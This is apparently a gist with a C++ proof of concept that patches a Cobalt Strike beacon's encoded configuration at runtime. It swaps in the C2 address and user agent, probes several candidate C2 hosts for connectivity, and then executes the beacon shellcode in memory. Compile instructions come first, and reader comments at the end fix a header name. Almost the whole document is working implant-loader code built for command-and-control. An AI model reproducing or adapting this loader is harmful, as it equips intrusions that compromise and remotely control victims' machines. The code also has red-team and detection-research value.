A POC showing how to modify Cobalt Strike beacon at runtime

cobaltstrike_runtimeconfig.cpp

// Compile: x86_64-w64-mingw32-g++ cobaltstrike_runtimeconfig.cpp --static -o /tmp/cobaltstrike_runtimeconfig.exe -lwininet

#include <iostream>
#include <string>
#include <functional>
#include <vector>
#include <string.h>
#include <windows.h>
#include <WinInet.h>

// This file will need to be generated from a 64bit stageless CS beacon outputted in 'raw' format using a tool such as xxd. 
// For example, you could go with:
// xxd -i ./beacon.bin | sed 's/beacon_bin/beacon/g' | sed 's/beacon_len/beaconLength/g' > beacon.h
#include "beacon.h"

struct CSConfigField {
  unsigned short ID;
  unsigned short dataType;
  unsigned short dataLength;
  union {
    unsigned short shortData;
    unsigned int intData;
    char data[1];
  } value;
} __attribute__((packed));

#define SWAP_UINT16(x) (unsigned short)(((x) >> 8) | ((x) << 8))

#define MAX_MALLEABLE_SIGNATURE_LENGTH 6
#define MALLEABLE_SIGNATURE "\x2e\x2f\x2e\x2f\x2e\x2c"
#define MALLEABLE_LENGTH 6
#define MALLEABLE_XOR 0x2e
#define MALLEABLE_CONFIG_SIZE 4096

#define CS_OPTION_C2 8
#define CS_OPTION_USERAGENT 9

// Needs to match your malleable profile
#define CS_GET_PAGE "/ActivityFeed"

class CobaltStrikePayloadParser {
public:
	void setC2Address(char* beacon, int beaconLength, std::string target);
	void setUserAgent(char* beacon, int beaconLength, std::string useragent);

private:
	void withMalleableOffset(char* beacon, int beaconLength, std::function<void(char*)> callback);
};

void CobaltStrikePayloadParser::setC2Address(char* beacon, int beaconLength, std::string target) {

	printf("[*] Searching for Beacon C2 config option [%d]\n", CS_OPTION_C2);
	
	this->withMalleableOffset(beacon, beaconLength, [target](char *malleable) -> void {
		struct CSConfigField *configField = (struct CSConfigField *)malleable;
		while(SWAP_UINT16(configField->ID) != 0x00) {
  			if (SWAP_UINT16(configField->ID) == CS_OPTION_C2) {
				printf("[*] Beacon config option found\n");
				printf("[*] Current config option value: [%s]\n", configField->value.data);
				printf("[*] Setting C2 location to [%s]\n", target.c_str());
    			memset(configField->value.data, 0, SWAP_UINT16(configField->dataLength));
				strncpy(configField->value.data, target.c_str(), SWAP_UINT16(configField->dataLength));
				break;
  			}
  			configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength));
		}
	});
}

void CobaltStrikePayloadParser::setUserAgent(char* beacon, int beaconLength, std::string userAgent) {

	printf("[*] Searching for Beacon UserAgent config option [%d]\n", CS_OPTION_USERAGENT);

	this->withMalleableOffset(beacon, beaconLength, [userAgent](char* malleable) -> void {
		struct CSConfigField *configField = (struct CSConfigField *)malleable;
		while(SWAP_UINT16(configField->ID) != 0x00) {

  			if (SWAP_UINT16(configField->ID) == CS_OPTION_USERAGENT) {
				printf("[*] Beacon config option found\n");
				printf("[*] Current config option value: [%s]\n", configField->value.data);
				printf("[*] Setting user agent to [%s]\n", userAgent.c_str());
    			memset(configField->value.data, 0, SWAP_UINT16(configField->dataLength));
				strncpy(configField->value.data, userAgent.c_str(), SWAP_UINT16(configField->dataLength));
				break;
  			}

  			configField = (struct CSConfigField *)((char *)configField + 6 + SWAP_UINT16(configField->dataLength));
		}
	});
}

void CobaltStrikePayloadParser::withMalleableOffset(char* beacon, int beaconLength, std::function<void(char*)> callback) {

	int beaconConfigOffset = 0;
	int xorKey = 0;
	char config[MALLEABLE_CONFIG_SIZE];

	// Hunt for the Cobalt Strike profile in memory
	for (int i = 0; i < beaconLength - MAX_MALLEABLE_SIGNATURE_LENGTH; i++) {
		if (memcmp(beacon + i, MALLEABLE_SIGNATURE, MALLEABLE_LENGTH) == 0) {
			beaconConfigOffset = i;
			xorKey = MALLEABLE_XOR;
			break;
		}
	}

	// Make sure we actually find the offset
	if (beaconConfigOffset == 0) {
		return;
	}

	// Decode the profile using the XOR key we have
	for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) {
		config[i] = *(beacon + beaconConfigOffset + i) ^ xorKey;
	}

	// Call back to a lambda to mess with the config
	callback(config);

	// Re-encode the config to be copied back into memory
	for (int i = 0; i < MALLEABLE_CONFIG_SIZE; i++) {
		*(beacon + beaconConfigOffset + i) = config[i] ^ xorKey;
	}
}

bool checkWebConnectivity(std::string target) {
	HINTERNET hOpenHandle, hConnectHandle, hResourceHandle;
	DWORD dwStatus;
	DWORD dwStatusSize = sizeof(dwStatus);
	std::string userAgent;

	// First we need a user-agent to blend in with
	userAgent = "SuperLegitBrowserAgent";

	hOpenHandle = InternetOpenA(userAgent.c_str(), INTERNET_OPEN_TYPE_PRECONFIG, NULL, NULL, 0);
	if (hOpenHandle == NULL) {
		return false;
	}

	hConnectHandle = InternetConnect(hOpenHandle, target.c_str(), INTERNET_DEFAULT_HTTP_PORT, NULL, NULL, INTERNET_SERVICE_HTTP, 0, 0);
	if (hConnectHandle == NULL) {
		return false;
	}

	hResourceHandle = HttpOpenRequest(hConnectHandle, TEXT("GET"),
		TEXT("/testpage.html"),
		NULL, NULL, NULL,
		INTERNET_FLAG_KEEP_CONNECTION, 0);

	if (hResourceHandle == NULL) {
		return false;
	}

	if (HttpSendRequest(hResourceHandle, NULL, 0, NULL, 0) == false) {
		return false;
	}

	if (HttpQueryInfo(hResourceHandle, HTTP_QUERY_FLAG_NUMBER | HTTP_QUERY_STATUS_CODE, &dwStatus, &dwStatusSize, NULL) == false) {
		return false;
	}

	if (dwStatus == 200) {
		return true;
	}

	return false;

}

int main(int argc, char **argv) {
  DWORD oldProt;
  BOOL foundTarget = FALSE;

  printf("CobaltStrike Runtime Config Mod POC... by @_xpn_\n\n");

  // Obviously deliver these in an interesting way ;)
  std::vector<std::string> targets = {
	  "nahthisdoesntwork.example.com",
	  "dunnowhatthisevenis.example.com",
	  "trythisonetoo.example.com"
  };

  for(auto target : targets) {
	  printf("[*] Checking our connectivity to [%s]\n", target.c_str());
	  if (checkWebConnectivity(target)) {
		  printf("[*] Found a target we can use.. updating the beacon destination\n");
		  auto *csParser = new CobaltStrikePayloadParser();
  		  csParser->setUserAgent((char*)beacon, beaconLength, "SuperLegitBrowserAgent");
  		  csParser->setC2Address((char*)beacon, beaconLength, target + "," + CS_GET_PAGE);
		  foundTarget = TRUE;
	  } else {
		  printf("[*] No connectivity to target.. sleeping for a few seconds and trying again\n");
		  Sleep(5000);
	  }
  }

  if (!foundTarget) {
	  printf("[!] Could not connect to any of our C2 locations...");
	  return 2;
  }
  
  printf("[*] Now starting beacon...");

  VirtualProtect(beacon, beaconLength, PAGE_EXECUTE_READ, &oldProt);
  int (*startBeacon)() = (int(*)())beacon;
  startBeacon();

}

On arch linux, #include <WinInet.h> breaks with:

$ x86_64-w64-mingw32-g++ cobaltstrike_runtimeconfig.cpp --static -o cobaltstrike_runtimeconfig.exe -lwininet                                                                                                                            1 ↵

cobaltstrike_runtimeconfig.cpp:9:10: fatal error: WinInet.h: No such file or directory
    9 | #include <WinInet.h>
      |          ^~~~~~~~~~~
compilation terminated.

Switching to #include <wininet.h> solves it.
Just in case someone is having the same problem.
Awesome work man 😄